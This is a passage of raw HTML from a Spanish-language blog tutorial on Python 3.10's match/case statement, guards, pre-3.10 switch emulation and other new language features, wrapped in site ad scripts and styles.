crees.\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/python-tricks-the-book.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4gLHlCB\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de los trucos de Python y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;Si quieres pulir tus conocimientos de Python\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;El case seguido del guión bajo funcionará como el caso por defecto en caso del que patrón no coincida con ningún otro. Es decir, el equivalente de &lt;em&gt;default&lt;/em&gt; en lenguajes como Javascript.&lt;/p&gt;&#xA;&lt;p&gt;Veamos un ejemplo:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;genera_monstruo&lt;/span&gt;(tipo):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;match&lt;/span&gt; tipo:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;case&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Dementor&amp;#34;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Genera Dementor&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;case&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Aswang&amp;#34;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Genera Aswang&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;case&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Kapre&amp;#34;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Genera Kapre&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;case&lt;/span&gt; _:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Genera Goblin&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;guard&#34;&gt;Guard&lt;/h3&gt;&#xA;&lt;p&gt;El nuevo match también incluye una función extra llamada &lt;em&gt;Guard&lt;/em&gt;, en la que se evalúa una condición después del case. &lt;strong&gt;Si el case coincide, pero la condición no se cumple brincará al siguiente bloque case.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;match&lt;/span&gt; subject:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;case&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;pattern_1&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; condition: &lt;span style=&#34;color:#78787e&#34;&gt;# Si condition evalua a False se procederá al siguiente case&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;action_1&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;case&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;pattern_2&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;action_2&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;case&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;pattern_3&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;action_3&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;case&lt;/span&gt; _:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;action_wildcard&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Y hay que notar que el &lt;em&gt;subject&lt;/em&gt; puede ser una cadena de texto, un objeto, una tupla o una instancia de una clase.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;switch-en-python-antes-de-su-version-310&#34;&gt;Switch en Python antes de su versión 3.10&lt;/h2&gt;&#xA;&lt;p&gt;Si aún no tienes Python 3.10 puedes imitar el funcionamiento de un switch con una cadena interminable de &lt;em&gt;ifs&lt;/em&gt; o &lt;em&gt;elifs&lt;/em&gt; así:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;valor &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;caso_n&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; valor &lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;caso_1&amp;#34;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;pass&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; valor &lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;caso_2&amp;#34;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;pass&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; valor &lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;caso_3&amp;#34;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;pass&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;O recurriendo a técnicas un poquito más sofisticadas:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;evalua_caso&lt;/span&gt;(caso, &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;args):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    switch &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;caso 1&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;procesando caso 1&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;caso 2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;procesando caso 2&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;caso 3&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;procesando caso 3&amp;#34;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; switch&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(caso, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Procesando caso por defecto&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;valor &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;caso 1&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;evalua_caso(valor)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Los valores de cada llave en el diccionario pueden reemplazarse por funciones para tener aún mayor control sobre el flujo del programa.&lt;/p&gt;&#xA;&lt;h2 id=&#34;otros-cambios-que-incluye-python-310&#34;&gt;Otros cambios que incluye Python 3.10&lt;/h2&gt;&#xA;&lt;p&gt;Además del nuevo match, Python 3.10 trae otros cambios y adiciones al lenguajes, los cuales son bastantes pero te resumo los que yo considero los más importantes:&lt;/p&gt;&#xA;&lt;h3 id=&#34;parentesis-en-manejadores-de-contexto&#34;&gt;Paréntesis en manejadores de contexto&lt;/h3&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Ya puedes usar paréntesis a lo largo de múltiples lineas en los manejadores de contexto (las sentencias que empiezan con with &amp;hellip; as)&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;with&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    CtxManager1(),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    CtxManager2()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;mensajes-de-error-mas-claros-en-coincidencia-de-llaves&#34;&gt;Mensajes de error más claros en coincidencia de llaves&lt;/h3&gt;&#xA;&lt;p&gt;Cuando te equivoques al cerrar una llave o paréntesis el interprete te avisará del error explícitamente que olvidaste cerrar tu llave o paréntesis, en lugar de solo marcarte un error de sintaxis.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;File &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;example.py&amp;#34;&lt;/span&gt;, line &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    expected &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&lt;span style=&#34;color:#ff9f43&#34;&gt;9&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;18&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;19&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;27&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;28&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;29&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;36&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;37&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;               &lt;span style=&#34;color:#ff6ac1&#34;&gt;^&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SyntaxError: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;{&amp;#39;&lt;/span&gt; was never closed&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;ya-puedes-usar-el-caracter-pipe-en-el-tipado&#34;&gt;Ya puedes usar el carácter pipe en el tipado&lt;/h3&gt;&#xA;&lt;p&gt;Se añade el operador pipe &amp;ldquo;|&amp;rdquo; al modulo de tipado de Python para que puedas usarlo intercambiablemente con &lt;em&gt;Union&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;square&lt;/span&gt;(number: &lt;span style=&#34;color:#ff5c57&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;float&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;float&lt;/span&gt;: &lt;span style=&#34;color:#78787e&#34;&gt;# Antes Union[int, float]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; number &lt;span style=&#34;color:#ff6ac1&#34;&gt;**&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;distutils-queda-obsoleto&#34;&gt;Distutils queda obsoleto&lt;/h3&gt;&#xA;&lt;p&gt;El paquete distutils, usado para distribuir paquetes, se marca como obsoleto y se descontinuará en Python 3.12&lt;/p&gt;&#xA;&lt;p&gt;Estos son solo algunos de los cambios, 